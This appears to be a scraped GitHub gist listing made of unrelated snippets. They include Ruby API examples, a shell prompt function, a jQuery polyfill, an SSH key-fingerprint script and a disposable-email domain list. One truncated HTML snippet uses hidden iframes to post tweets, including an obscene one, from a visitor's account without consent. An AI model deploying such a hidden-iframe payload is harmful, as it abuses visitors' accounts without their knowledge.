Skip to content

Instantly share code, notes, and snippets.

View mattreduce's full-sized avatar
🏎️

Matthew Conway mattreduce

🏎️
View GitHub Profile
# Projects
Project.all # get all projects
@project = Project.find('84948') # get specific project
# Members
@project.members.all # access a project's members
@project.members.add!(:role => 'Owner', :name => 'John Doe', :initials => 'JD', :email => 'john.doe@mymail.com') # add user to project
@member = @project.members.find('3747') # get specific member
@member.remove!
<html>
<head></head>
<body>
<script>
var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
function my-rvm-prompt() {
rvmvg=$(~/.rvm/bin/rvm-prompt v g)
if [[ x$rvmvg != x ]]; then
color=$fg[yellow]
[ x$rvmvg != x ] && echo " %{$color%}$rvmvg$reset_color%}"
fi
}
# Ask Nokogiri to find the row containing the header names
headers = table.search('thead > tr')
# Create a hash that maps the column name to the column index, so I can access subsequent
# rows' data by name
header_map = headers.search('th')
.map(&:text)
.each_with_index
.with_object({}) {|(name, index), hash| hash[name] = index}
@camerond
camerond / hrw_html5.markdown
Created October 18, 2010 13:11
HTML5 HRWay lunch

nav

header
	nav
		ul
			li
				a
			li.active
				a
@shaneriley
shaneriley / gist:938084
Created April 23, 2011 01:12
jQuery Placeholder Attribute Polyfill
if (!("placeholder" in document.createElement("input"))) {
$("input[placeholder]").each(function() {
var $e = $(this),
placeholder = $e.attr("placeholder");
$e.val(placeholder);
$e.bind("focus blur", function(e) {
if (e.type === "focus" && $e.val() === placeholder) { $e.val(""); }
else { if (!$e.val()) { $e.val(placeholder); } }
});
}).closest("form").submit(function() {
@nurse
nurse / gist:1995260
Created March 7, 2012 19:17
scan authorized_keys and show fingerprints
#!/usr/bin/env ruby
require 'tempfile'
IO.foreach(File.join(ENV['HOME'], '.ssh/authorized_keys')).each do |line|
Tempfile.open("key") do |f|
f.puts line
f.flush
r = `ssh-keygen -lf #{f.path}`
r.sub!(f.path, '')
puts r if $? == 0
end
@adamloving
adamloving / temporary-email-address-domains
Last active May 31, 2024 15:43
A list of domains for disposable and temporary email addresses. Useful for filtering your email list to increase open rates (sending email to these domains likely will not be opened).
0-mail.com
0815.ru
0clickemail.com
0wnd.net
0wnd.org
10minutemail.com
20minutemail.com
2prong.com
30minutemail.com
3d-painting.com
@devdazed
devdazed / slack-pagerduty-oncall.py
Last active April 18, 2024 10:28
Updates a Slack User Group with People that are on call in PagerDuty
#!/usr/bin/env python
from __future__ import print_function
import json
import logging
from urllib2 import Request, urlopen, URLError, HTTPError
from base64 import b64decode
@JMichaelTX
JMichaelTX / JXA Resources.md
Last active June 1, 2024 17:33
JavaScript for Automation (JXA) Resources

JXA Resources

Revised: 2019-11-28 16:16 GMT-6

JXA

This is a list of the key resources I have found useful. If you know of others, please post in a comment below, and I will add to this list.

I have tried to order this list in the order that, to me, is best for learning JXA from scratch. We all learn a bit diferently, so adjust to suit your style/needs. Please post if you have suggestions on learning JXA.